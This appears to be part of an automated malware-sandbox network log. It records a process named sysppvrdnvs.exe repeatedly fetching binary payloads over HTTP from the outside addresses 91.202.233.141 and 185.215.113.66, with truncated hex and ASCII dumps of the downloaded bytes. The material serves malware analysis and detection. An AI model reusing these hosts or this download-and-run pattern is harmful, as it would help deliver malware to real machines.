Oct 28, 2024 11:11:23.515445948 CET	1236	IN	Data Raw: 76 f8 eb 35 9a 49 f5 5f dc d3 37 59 0a e9 b8 e1 06 d3 e6 66 4b 04 7f 7b ee 03 3f 6a 27 e1 61 5e 8a b2 45 ed 6d b7 a8 9d 86 11 01 0f ff 78 01 fe 0d 80 ed c8 50 40 0b 73 80 eb b9 26 83 c3 d3 d3 ac 38 79 5a 41 ae 8b 77 07 a3 08 0e d9 8d 46 32 48 d1 Data Ascii: v5I_7YfK{?j'a^EmxP@s&8yZAwF2HPN.Tz=p7g8Zc4H\lAv#N`'6Z\SBJ!rV20S{}rLdad+0hFaGv:;]ud8[H9PCE=Yd
Oct 28, 2024 11:11:23.515465021 CET	1236	IN	Data Raw: c0 ba f9 08 b0 e4 da 68 51 42 b9 b5 09 39 34 51 01 40 fa 4b 87 b4 59 52 e7 f0 45 99 02 36 a3 10 c6 09 75 00 a8 1e 88 ea 1e bf 16 50 e8 c8 cb d1 d0 12 62 9d 5e 26 51 2e a2 08 8b 75 e4 14 c9 1c 8c ef 0a b7 18 83 88 9c 47 30 5e 57 34 38 ba b4 ac 95 Data Ascii: hQB94Q@KYRE6uPb^&Q.uG0^W48mh.z)\|XV#%Y7myeXzOW075($Q?oXC(J7 L!Ce\_GMSqM#&@_(8@
Oct 28, 2024 11:11:23.515484095 CET	1236	IN	Data Raw: 7f e7 46 07 7b 45 ba 0f ee 7e d7 b8 cf a7 b1 02 ca aa 2a da f1 eb d7 1e 97 e4 5c 7d 47 49 81 f0 51 f0 4d f0 e5 ae 25 df c2 a8 ea 78 b4 2b de 24 76 83 e9 28 bd 6a c1 b9 99 9e 30 46 02 98 38 3e 82 1b 07 44 35 26 bd 09 6d 26 96 e4 dd f6 ed 1d 1a 17 Data Ascii: F{E~*\}GIQM%x+$v(j0F8>D5&m&qyAWS<Ie9^0#8-PKY#"3T>G(~/ldX5rO6fPtL[^8R~_RPc-#YM(N
Oct 28, 2024 11:11:23.515501022 CET	1236	IN	Data Raw: 16 a5 d7 7a 4f 72 44 d1 e5 fd 4c a1 5a 78 0d d5 0b 65 9d fb 99 7c 2e 09 41 89 22 b8 82 c5 5d b5 ac 48 1a 84 d6 88 67 fd 2d c8 67 95 39 24 53 4e 67 9b f4 d2 15 a3 b7 2b 23 3e 72 20 98 df fd 5a 19 cf dc e8 f4 fc 47 8d 9b f5 bf 2b c9 1d c2 d5 c2 74 Data Ascii: zOrDLZxe\|.A"]Hg-g9$SNg+#>r ZG+t=DLIU^[YA]Fg&k~u)}{fQ_y\PfC\UcI%+15&tB5x`:Az?]Y@3y:`i_=E#\|!4
Oct 28, 2024 11:11:23.515521049 CET	1236	IN	Data Raw: f4 c7 09 df ba 72 0b b8 b5 94 4a 02 0c 08 2b fe b2 29 61 ca 08 3d 62 b8 7f f8 78 a8 89 3c 6f e5 67 d8 ea 81 a9 4e 5e 3a 68 8c 06 23 ab 63 72 64 e4 e5 96 13 b0 ef 80 ff 6a 4b 68 f5 23 e2 00 18 28 5d f0 9e 1f 3a 94 62 1d c5 03 02 dc cc 42 d7 33 c2 Data Ascii: rJ+)a=bx<ogN^:h#crdjKh#(]:bB3EM]9^>Ja[3Z&B,`ZcOq[W<!qk5/0.G`3qbj~'k7rYX{=-]K/&)o,d*)"g%?R. x>
Oct 28, 2024 11:11:23.520992041 CET	1120	IN	Data Raw: a2 83 16 9b b9 fb 69 9b ea 52 ae 0c 90 8f 67 91 6c 4a cf 7d 7e 4d 08 7b ee e4 4b d5 63 b5 a1 67 0f 45 2f a9 9e 1f 16 53 4d a3 96 9d f1 4f d9 40 e7 ae ac 34 a5 6d 1b 60 b6 4d 0b bb 23 1c 57 24 3e 92 e6 34 51 18 1c 76 0c 5f 27 63 a0 7f cb 9d b1 27 Data Ascii: iRglJ}~M{KcgE/SMO@4m`M#W$>4Qv_'c'6WgFezegT~@X=TL6bs:*n]:Cuj+JM,`!"\~Is%id~$-Ac&)\l[(o?=p\7?hH&h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	91.202.233.141	80	3060	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:25.596575022 CET	171	OUT	GET /dwntbl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 28, 2024 11:11:26.495398998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:26 GMT Content-Type: application/octet-stream Content-Length: 85760 Last-Modified: Thu, 10 Oct 2024 07:40:46 GMT Connection: keep-alive ETag: "670784fe-14f00" Accept-Ranges: bytes Data Raw: 73 9b e7 57 5d 0f d3 d2 df 96 5f cd 0b 7c 4f ed 0c 59 d0 57 11 1e d2 e1 d7 80 f2 d5 71 10 6a 2a 87 07 22 a6 6e cb ec f0 12 2b 90 48 7c 5c 16 07 b9 45 84 db 5b 0a 45 14 0a 85 27 cc d7 59 7c da 9a 7b 65 fc bd 3a fa 59 0e 93 5d 05 00 75 cc 1f a7 e0 58 a4 00 6a 1d 1a 9d b3 52 e6 b5 0f 65 00 37 82 7e 11 70 29 d8 ff d3 7f 78 7e e8 6a b3 03 74 22 aa 75 0a 3e 4e 93 86 8f b5 6a 07 3e c5 d8 6b 40 22 08 93 91 df a9 65 51 ba ae b8 e0 c8 6f 4e 8c ac e2 9d 3b 24 34 1b 93 8f f4 78 b3 6e 76 b5 c4 13 f7 e3 32 60 41 bf 53 cc 98 0b f3 1a bf 74 bd 52 b8 1c 29 4f e9 c4 e2 82 d4 b2 f8 b7 0a 11 b2 be a8 25 a0 53 0e d1 ce da 31 eb 63 a9 59 c5 1f 8a d9 02 58 af ae c8 c9 d4 fa d3 e8 9f 75 1b 4e af 82 94 08 2a 54 0b 9a 60 cf 58 b6 57 56 bd c6 0a 54 8a e6 70 e6 66 05 db 03 84 b9 2b 25 e7 7b 25 5d 50 e3 db c0 7a dc 3b dd 8d e0 cf f1 1f e1 7a ed 83 b6 92 25 c6 22 b1 a6 c3 ae 1b b6 56 0f 7a 67 5a 13 cb 6a f1 c9 f6 7f eb a8 9e 1a 49 3b fa 62 7a f9 8f 2e 10 81 4d 4d 62 d8 b2 c0 62 35 68 1b e3 19 6d 92 6f e9 25 00 d2 91 21 07 4d 9d [TRUNCATED] Data Ascii: sW]_\|OYWqj"n+H\|\E[E'Y\|{e:Y]uXjRe7~p)x~jt"u>Nj>k@"eQoN;$4xnv2`AStR)O%S1cYXuNT`XWVTpf+%{%]Pz;z%"VzgZjI;bz.MMbb5hmo%!Mt0xpg&v2Hoc:?W{6FV#m_Mo24)OW#E>?WiUV#p{%I}hb$lm1s^z'4{spxWP?QE)!U:07(t60pwah_4\N}c\|]{cV'yfd.CI:U+Q"fyO9/f}mL{ZO$E).6$dtc?1>H'4U^<W%,1%((180aqv!kxX-\|M1Z^\oqyq].{~}D7K{2auOWa["E?!DS*ySexPJ K@~nZH/MY"tZO\|nNuX\^s-[a[3Ks-@5zH\|{I uU
Oct 28, 2024 11:11:26.495412111 CET	1236	IN	Data Raw: 80 b5 d7 f9 5b 0f c6 8c 89 48 4e a5 7d ec ec b7 81 41 9b e2 ba 5a 73 79 30 a4 03 3d 69 39 77 3a b5 22 f0 12 25 1c 3b 8d 3d 2a 07 fb 31 ad 6b 58 9c f7 38 e5 76 eb 84 dd 18 91 5c 0c 56 9e 5f 05 39 22 e3 c8 e5 8d 0b eb 2a 4d f3 0f 23 8b eb 23 4b db Data Ascii: [HN}AZsy0=i9w:"%;=1kX8v\V_9"M##K5sN:$!;3*`Nj=g4;N)TJ9E+&}TrUDJ^J3[PO<utH?u%
Oct 28, 2024 11:11:26.495430946 CET	1236	IN	Data Raw: 4f 01 2b ed 3e 8d 0a 28 fd 86 a8 c1 f8 c9 ff 2c 83 0b c0 df 28 08 0a 68 a7 d6 bc 7f 84 88 04 d8 bb a1 b4 e2 13 e6 e4 f2 17 49 14 c4 50 f9 f5 18 a2 ec 8d fd 05 45 b1 83 b3 96 3f b0 42 05 3d 49 9d 59 63 97 2e 71 e6 28 37 1f 33 7b 73 68 a1 fb 7f 3e Data Ascii: O+>(,(hIPE?B=IYc.q(73{sh>=1I4M2tHdT?GI0)}g`f2[&gU" +1B w[ \o]4VpO3m:&xDrCg7"KctAPFF+X&JR
Oct 28, 2024 11:11:26.495439053 CET	1236	IN	Data Raw: 9c 9b 32 f7 89 0e 26 33 e4 db 73 cb 44 c8 ad 4b 2a 03 96 c0 75 08 ab f6 68 d0 09 8a d4 c7 cb 4f 1a bb 8b fc bd 6d 65 ef e2 0d 34 ca 1f 62 0e 5e dd 6d 62 54 8c ed e2 a7 b0 66 33 7e 49 b1 97 44 23 e6 fc 48 5c 3d 53 ab c3 82 1a ad f2 40 c4 dd 36 df Data Ascii: 2&3sDK*uhOme4b^mbTf3~ID#H\=S@6HwC2p%7S)u~ycWwhh&rd7<1CI>TO.kP+Qr5nR^qwK.pN_`c1\|oZUQz6m..
Oct 28, 2024 11:11:26.495455980 CET	848	IN	Data Raw: b5 07 b1 f8 ff ab ba 72 91 7d 3b 4d 79 e1 4a 5c 1c 93 3c 37 2a 55 85 e9 c1 f3 df 18 a3 3d 15 a0 79 e4 6d 84 d8 f4 9c a1 38 f8 b3 60 ff d5 c6 cb 1b 4f ba 8c e1 22 c3 db 86 e6 68 47 1b 4f aa 3f 94 86 08 ec 85 54 61 d7 e5 b4 65 8e ed e9 bb 2f 40 be Data Ascii: r};MyJ\<7U=ym8`O"hGO?Tae/@ %\nfR.^upVogo@^W<(Gs`eJC?4<~9.Ruvj{Ak=~a}uhs;-^a0
Oct 28, 2024 11:11:26.495464087 CET	1236	IN	Data Raw: 03 09 67 9e 94 0b a9 8f 2f af 32 2a 79 22 47 0d f6 6d 61 b0 89 16 a0 bd b0 51 56 5f 06 9d 51 37 03 38 58 77 07 85 00 b1 22 3d a9 e4 69 5e ec 1d 08 16 72 73 bd 16 d5 0f 40 1e 36 d0 e9 f4 a3 f1 b9 8d 30 fd 1d 0b e3 cc 92 fe 40 70 3e 8e f5 89 14 79 Data Ascii: g/2*y"GmaQV_Q78Xw"=i^rs@60@p>yu?lwY]wyHEnx[F=v=#5)NrLGNL,`X0lC%181>1gAU/P(uTBO}kH.eL0sNHAJ{E1xwuq0!NMag
Oct 28, 2024 11:11:26.495481014 CET	1236	IN	Data Raw: f4 e1 fe 2d f1 a8 34 f7 87 2f ed 69 be 62 f0 bd f8 14 a6 a4 e2 9b a5 39 f5 ba 74 8c 7e 3b 57 f1 f7 41 6c 2d a6 80 61 d4 e7 1f 64 94 50 18 24 96 1e 4d 77 33 08 e9 ea fb 28 f0 36 04 92 80 3b 09 cc d7 7b a4 b4 88 cc e4 ca 7b 02 4d 72 52 92 e3 42 23 Data Ascii: -4/ib9t~;WAl-adP$Mw3(6;{{MrRB#PqLu'&3V`rgHa~.FKp'9CGlqlLx[ER)DaO2_Vwr!B(w)jodHBRQ`Ri8xmBY+UCWS(
Oct 28, 2024 11:11:26.495488882 CET	1236	IN	Data Raw: 97 d8 b2 7e f7 bc bd d4 4d 96 6a ab 4b 28 d8 da bd 68 e8 11 53 1b 03 9c f5 14 31 4e e3 9e 11 94 d4 82 75 bc 3c a4 9b b2 e8 a1 4c cc dd 50 fd 90 31 ce f7 39 d8 4a f5 69 98 3e 0b d3 62 13 89 19 d0 c2 f1 e7 92 fc 4f e4 63 2a 44 e2 42 73 1b b0 95 e4 Data Ascii: ~MjK(hS1Nu<LP19Ji>bOc*DBsW a1yHI<bCodyk5?YT^$Homs32~H=5/5U#17N<v:/w4e05w!6&~3
Oct 28, 2024 11:11:26.495505095 CET	1236	IN	Data Raw: 87 e7 03 eb 06 56 d0 a0 b0 49 f4 0e f1 71 e5 5c 57 b2 f6 6c e3 99 f6 95 e7 8f 0f fb a5 81 df 52 30 7b 22 e6 06 a7 34 02 0b 3c 78 13 e8 3a ff 4c b2 a1 24 88 82 c0 48 a1 0a 6a 3c 57 1e 84 52 0b 63 25 91 15 0c f9 e5 c7 6d 5a 80 e7 88 de a5 30 5d 1c Data Ascii: VIq\WlR0{"4<x:L$Hj<WRc%mZ0]S.!a27BgM6kt@7gOR,4Q%h.lx H+?4yH&Cpin>n)A1&#!*f16{}0ox\Y_y':0?P1+^\|
Oct 28, 2024 11:11:26.495515108 CET	1236	IN	Data Raw: e6 45 93 aa b3 b0 d5 72 d9 02 40 48 8d e8 25 9f bf 0b 88 92 22 ea a1 21 d4 de 18 e0 3e 77 13 1d 18 fa d7 ca bb b2 5b b0 0c 3f 33 7a 54 71 90 c2 c1 8f 56 16 9c cb 4d a1 f5 08 2b ad 24 fc 96 01 39 d3 ab 83 ef ac cb 54 3b da 43 14 e0 f0 17 8e f7 03 Data Ascii: Er@H%"!>w[?3zTqVM+$9T;CCVc94q3oSD;n:z]a-0I7LyWj80;f`k_M3t8dEu[hSCJa]wi#.4ShD~
Oct 28, 2024 11:11:26.500952005 CET	1236	IN	Data Raw: b5 a1 2b 4b 70 05 a5 fd 1c 87 be e6 10 ed f7 a5 94 bc 3d 4d e6 63 fe bf da 3f 6f 2f 70 8c b3 b5 b2 47 c4 2f 57 6f 53 fd b3 71 a5 fe 88 95 23 d5 e3 e3 e9 62 3e 8b 44 ac d8 46 e6 73 81 82 09 88 3e 72 05 a7 9b 8c 8b 98 24 bb 8f 4c e0 60 07 bc 7f aa Data Ascii: +Kp=Mc?o/pG/WoSq#b>DFs>r$L`d=K\6D;QZIl]\|WZeZ}pJZ[.\|m9Cm<yq-g_ICJU5_C%f)r Ce6&\(,!#gJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	57562	185.215.113.66	80	3060	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:28.415307045 CET	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 28, 2024 11:11:29.339632034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:29 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 28, 2024 11:11:29.339646101 CET	112	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP
Oct 28, 2024 11:11:29.339658022 CET	1236	IN	Data Raw: 1a 7e 54 ab 8b 45 f0 f6 cd be e1 a1 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a Data Ascii: ~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM
Oct 28, 2024 11:11:29.339673042 CET	212	IN	Data Raw: 18 79 9c 05 4e c4 8e 9a a9 9d c9 5b 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 Data Ascii: yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9
Oct 28, 2024 11:11:29.339682102 CET	1236	IN	Data Raw: fa 5b 97 db f5 94 68 b8 31 5f fe c4 26 82 f5 02 7d e0 2c bd 66 0c 8c cc 0e fc 17 a4 4f c2 8a ae 90 ef 82 6e cf 15 16 d7 c2 4e 95 48 a4 f8 cb 2a 07 12 63 9c 16 c5 9a 3e d2 cc 2f 86 a9 f5 19 e9 95 3a dc 91 e1 49 28 a8 1f 91 c0 2b 5f 61 f6 5b e8 b3 Data Ascii: [h1_&},fOnNH*c>/:I(+_a[;Q\|~E\|$e\|B#IynhJ\|k;OTvmk@5Hdtrh S^LO&,8_\KA0VIMF&n;B!]U~1&w\TU
Oct 28, 2024 11:11:29.339692116 CET	1236	IN	Data Raw: 57 93 66 9d 53 e2 88 5c 44 17 93 c0 35 91 9b c1 14 4c d0 91 fe aa bd 52 c5 29 72 9d e3 bc 39 de cd a5 b4 b1 58 e9 96 a3 2b 25 d0 11 07 be f8 ed 89 71 be 79 12 82 18 46 ac a6 88 ba 3d 5a 96 af 3f a5 ef 1f e9 da 21 18 33 69 f5 e3 08 b7 9c 52 4d 92 Data Ascii: WfS\D5LR)r9X+%qyF=Z?!3iRMpl/BrlB7-*Yt;\|rS{.gdfow%f.tBH{:Ba{%dPL(Q6V>m:p@Nx!I EKJ
Oct 28, 2024 11:11:29.339704990 CET	124	IN	Data Raw: 25 69 a2 fd ca 9d e7 bd 81 30 71 7e 33 10 82 8d 90 54 9e bb 7c c3 87 86 d3 12 55 e8 4a 8a 16 82 0c 91 2e b8 d1 1d bb bf dc e7 4c f3 af 8e cf 43 b8 f9 77 31 77 35 65 64 c5 bb ba 51 07 10 a4 ce 44 d9 db b7 71 e2 b5 48 ee fa 05 91 3d 1b c9 c6 91 2e Data Ascii: %i0q~3T\|UJ.LCw1w5edQDqH=.~osXouHePdtnq`Y6G4@4G"
Oct 28, 2024 11:11:29.339714050 CET	1236	IN	Data Raw: eb 45 4c 97 ef 2a 1d 2d 9e 44 a8 12 24 dd 16 68 4f 59 12 bf 43 b3 04 4d 19 04 15 bf 01 95 74 9f 14 3b 45 eb f3 d9 62 da 79 9d 16 ba d9 cc d4 f6 3b 74 51 be 85 05 66 0a 71 89 56 7b 23 ef 62 eb 74 a4 a1 98 46 d2 dd b1 ee e3 47 91 89 f2 99 71 dc c6 Data Ascii: EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\is
Oct 28, 2024 11:11:29.339724064 CET	212	IN	Data Raw: 44 69 97 04 49 86 d7 b5 59 b2 c1 bc a6 6a 60 69 c7 d9 b8 01 f1 03 06 0d 0c b0 fc aa 40 67 6e cf 94 4b 3d fa 20 12 1c 7b e4 0b 90 7d 37 06 4e 57 b1 53 8d e6 1f 43 0a 22 07 24 10 5a 1b cc 5e 22 4c 64 d0 cf 28 1b 24 a8 fd 5d 0e a7 38 e6 2c 0c cf cb Data Ascii: DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t
Oct 28, 2024 11:11:29.339735031 CET	1236	IN	Data Raw: 03 83 34 fd 15 69 cf c8 fe 55 b2 ed 61 ec 41 49 bc 64 a0 42 b3 ac 4a 85 83 00 2b 3a 92 4f 22 46 0c 37 26 dd da 56 a0 6e 23 a9 52 e0 6a 2a e5 1f 24 2e f0 7a 22 1b 05 a3 f3 9a a7 0e 57 86 82 d7 c4 74 2c 71 4e 03 b7 18 b2 d7 68 22 31 3d 33 49 62 3a Data Ascii: 4iUaAIdBJ+:O"F7&Vn#Rj*$.z"Wt,qNh"1=3Ib:Y!\fsAF),l;mN\|#{S?&P<G5IjYWY>q+fL~W5GXPY?ECjZ@=:pj\|KYD$~$nb
Oct 28, 2024 11:11:29.345300913 CET	1148	IN	Data Raw: 48 d7 82 a7 f1 a9 30 77 2e f3 7a c7 2b ff f9 56 6a 32 57 ca bd 80 37 72 35 81 48 51 9e 7f a7 92 f4 bf ff de 88 c8 93 ee e2 5d a0 c3 86 88 51 28 33 be 06 de c9 e8 6a 3f f4 a4 c0 76 cb 4b 3d fb 7b ae 2c 83 a5 00 6d d1 40 0b 9c c8 1b 85 5e ee a2 dd Data Ascii: H0w.z+Vj2W7r5HQ]Q(3j?vK={,m@^1?vHl6=Nke&u+bIB`#0s']B4/8>XuP_Q@(^OS$&?Jl[e:s8Mf?Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	57563	185.215.113.66	80	3060	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 11:11:30.365884066 CET	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 28, 2024 11:11:31.283780098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 10:11:31 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Oct 28, 2024 11:11:31.283879995 CET	1236	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^
Oct 28, 2024 11:11:31.283895969 CET	1236	IN	Data Raw: 25 31 0a 68 9c d8 ba 48 4c 90 81 b7 28 74 68 c8 16 f9 b8 2a c6 90 b0 6c 31 39 f2 bf 87 64 53 3a 32 36 df 01 fc e5 9e 18 72 19 69 e2 c7 ef 65 32 01 84 09 84 3b 94 85 f3 13 25 da 52 6f 20 19 c5 d9 dd d1 da 08 6e 35 b4 1e 41 c3 9d d9 91 9f 3f 3a 82 Data Ascii: %1hHL(th*l19dS:26rie2;%Ro n5A?:p"~ B'P?:/B1%yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)W
Oct 28, 2024 11:11:31.283911943 CET	1236	IN	Data Raw: f3 0c 7b d7 90 9d 53 08 50 35 7a 7f 49 0b 16 9f ae a3 19 6a 1b 05 aa 5c 54 c6 1f 37 73 99 af 43 61 76 51 11 f2 eb 89 90 be 6d c9 bd 48 20 04 57 6d a3 8a 18 2a 96 64 13 63 ca 0d 0f 2d 28 7f 61 ff eb 80 38 1c 6f fd f6 59 64 de 2b f7 3d 76 66 94 76 Data Ascii: {SP5zIj\T7sCavQmH Wm*dc-(a8oYd+=vfvB"1C,/m#u?n8CpT}v#0]{&T;I]#zYw8OA{kK&GFMXFJ+I$?r-:Pw_gN/6p"]c{1 N
Oct 28, 2024 11:11:31.283926010 CET	448	IN	Data Raw: f3 c6 cf f8 95 24 43 84 1e 1f 9b 9c d9 67 06 dc 57 43 c0 ff d4 c9 b4 19 52 67 b0 40 5c 8f 00 ab 9d ff 39 47 b4 07 78 4f 3d ea 81 53 76 ad 4d 76 16 a5 b7 2e e5 b9 6d 89 3c f6 9f 00 cc a4 9a b7 cc 8f b1 36 f8 1a e3 38 6a df fd 09 9e 74 6f 47 14 bc Data Ascii: $CgWCRg@\9GxO=SvMv.m<68jtoG M,"p-R6(=6;BS)2Mq#+dM1;oyAzm@!<Enk ?C=\|9PednGDF%F-_!Y^uODIuH"oR^k=%
